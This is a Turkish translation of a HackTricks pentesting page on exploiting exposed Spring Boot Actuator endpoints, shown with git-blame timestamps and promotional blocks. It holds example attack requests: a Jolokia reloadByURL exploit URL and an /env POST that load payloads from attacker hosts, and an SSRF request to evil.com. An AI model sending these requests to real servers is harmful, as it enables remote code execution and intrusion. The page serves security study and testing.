hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

92 lines
5.9 KiB
Markdown
Raw Normal View History

2022-10-10 09:20:50 +00:00
# Spring Actuators
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2023-12-31 01:24:39 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2023-03-02 18:08:43 +00:00
## **Spring Auth Bypass**
<figure><img src="../../.gitbook/assets/image (5) (2).png" alt=""><figcaption></figcaption></figure>
2023-03-02 18:08:43 +00:00
2024-02-10 18:14:16 +00:00
**Kaynak** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
## Spring Boot Actuators'ün Sömürülmesi
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
**Orijinal yazıyı buradan kontrol edin** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
2023-03-02 18:08:43 +00:00
2024-02-10 18:14:16 +00:00
### **Ana Noktalar:**
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi uç noktaları kaydeder. 1'den 1.4'e kadar olan sürümlerde, bu uç noktalara kimlik doğrulama olmadan erişilebilir. 1.5 sürümünden itibaren sadece `/health` ve `/info` varsayılan olarak hassas olmayan uç noktalardır, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır.
- Belirli Actuator uç noktaları hassas verileri ortaya çıkarabilir veya zararlı eylemlere izin verebilir:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` ve `/heapdump`.
- Spring Boot 1.x'de aktüatörler kök URL altında kaydedilirken, 2.x'de `/actuator/` temel yolun altında kaydedilir.
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
### **Sömürü Teknikleri:**
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
1. **'/jolokia' Aracılığıyla Uzaktan Kod Yürütme**:
- `/jolokia` aktüatör uç noktası, Jolokia Kütüphanesini ortaya çıkarır ve MBean'lere HTTP erişimi sağlar.
- `reloadByURL` eylemi, dış bir URL'den günlük yapılandırmalarını yeniden yüklemek için sömürülebilir, bu da oluşturulmuş XML yapılandırmaları aracılığıyla kör XXE veya Uzaktan Kod Yürütme'ye yol açabilir.
- Örnek sömürü URL'si: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
2. **'/env' Aracılığıyla Yapılandırma Değiştirme**:
- Spring Cloud Kütüphaneleri varsa, `/env` uç noktası çevresel özelliklerin değiştirilmesine izin verir.
- Özellikler, Eureka serviceURL'deki XStream deserializasyon açığı gibi güvenlik açıklarını sömürmek için manipüle edilebilir.
- Örnek sömürü POST isteği:
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
3. **Diğer Faydalı Ayarlar**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL enjeksiyonu veya veritabanı bağlantı dizelerini değiştirmek gibi çeşitli sömürüler için manipüle edilebilir.
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
### **Ek Bilgi:**
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
- Varsayılan aktüatörlerin kapsamlı bir listesi [burada](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) bulunabilir.
- Spring Boot 2.x'deki `/env` uç noktası özellik değişikliği için JSON formatını kullanır, ancak genel kavram aynı kalır.
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
### **İlgili Konular:**
2020-10-15 10:27:50 +00:00
2024-02-04 16:10:29 +00:00
1. **Env + H2 RCE**:
2024-02-10 18:14:16 +00:00
- `/env` uç noktası ve H2 veritabanının kombinasyonunu sömürme hakkında ayrıntılar [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir.
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
2. **Spring Boot Üzerinde Yanlış Yol Adı Yorumlamasıyla SSRF**:
- Spring çerçevesinin HTTP yol adlarında matris parametreleri (`;`) işlemesi, Sunucu Tarafı İstek Sahteciliği (SSRF) için sömürülebilir.
- Örnek sömürü isteği:
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
2020-10-15 10:27:50 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2023-12-31 01:24:39 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>